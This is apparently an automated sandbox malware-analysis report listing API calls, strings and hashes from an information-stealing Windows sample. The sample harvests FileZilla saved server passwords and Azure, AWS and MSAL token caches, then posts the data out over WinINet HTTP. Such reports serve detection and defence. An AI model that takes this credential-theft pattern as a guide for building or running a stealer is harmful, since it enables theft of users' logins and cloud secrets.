String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 611b08f0245886947cd5acc3d6df125b968284c8e7739afc51a3b72b710b74fd
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 611b08f0245886947cd5acc3d6df125b968284c8e7739afc51a3b72b710b74fd
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,00921F00), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,00921FB0,?,00921278,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00921F40,00000000,?,0091C9B8,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
RtlAllocateHeap.NTDLL(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

------, xrefs: 00405297
--, xrefs: 00405280
------, xrefs: 004054F9
------, xrefs: 0040563B
", xrefs: 00405706
------, xrefs: 004053B7
", xrefs: 00405482
", xrefs: 004055C4

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2335077847-2774362122
Opcode ID: b4b5620daf90aec41ed9800de7582402126eb2bcc0f2070c3dcb63d259cde1fd
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: b4b5620daf90aec41ed9800de7582402126eb2bcc0f2070c3dcb63d259cde1fd
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,00921F00), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00921F70,00000000,?,0091C9B8,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,00921FB0,?,00921278,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405C0B
", xrefs: 00405CD5
", xrefs: 00405E16
------, xrefs: 00405A96
------, xrefs: 00405D4C

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: 7415ebe78f3af7f3513ad7c46f0d94040b7c991423e67c024421c7aff69212d9
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: 7415ebe78f3af7f3513ad7c46f0d94040b7c991423e67c024421c7aff69212d9
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,009183C0,00421318,009183C0,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ed7645848b6b1058ffbaf3b3d70ae68ae74d95b545b5147d383be98b1bf0096d
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ed7645848b6b1058ffbaf3b3d70ae68ae74d95b545b5147d383be98b1bf0096d
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00921FD0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

\.azure\, xrefs: 00414DC1
Azure\.aws, xrefs: 00414E5F
Azure\.IdentityService, xrefs: 00414EEB
msal.cache, xrefs: 00414EF0
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
\.aws\, xrefs: 00414E4D
\.IdentityService\, xrefs: 00414ED9
Azure\.azure, xrefs: 00414DD3
*.*, xrefs: 00414E64
*.*, xrefs: 00414DD8

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: 1c029666f73dc8b82b657fe32cb89246c69d9d4f168f5260f1cfe73449614da8
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: 1c029666f73dc8b82b657fe32cb89246c69d9d4f168f5260f1cfe73449614da8
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,0091CAD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,009183C0,00421474,009183C0,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: ab8b21932019508f25619d9d87bfd326bdbb1c25f1870d541f2317c43b1f21a0
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: ab8b21932019508f25619d9d87bfd326bdbb1c25f1870d541f2317c43b1f21a0
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,0091E398,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

%s\%s, xrefs: 0041844D
- , xrefs: 004185A3
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

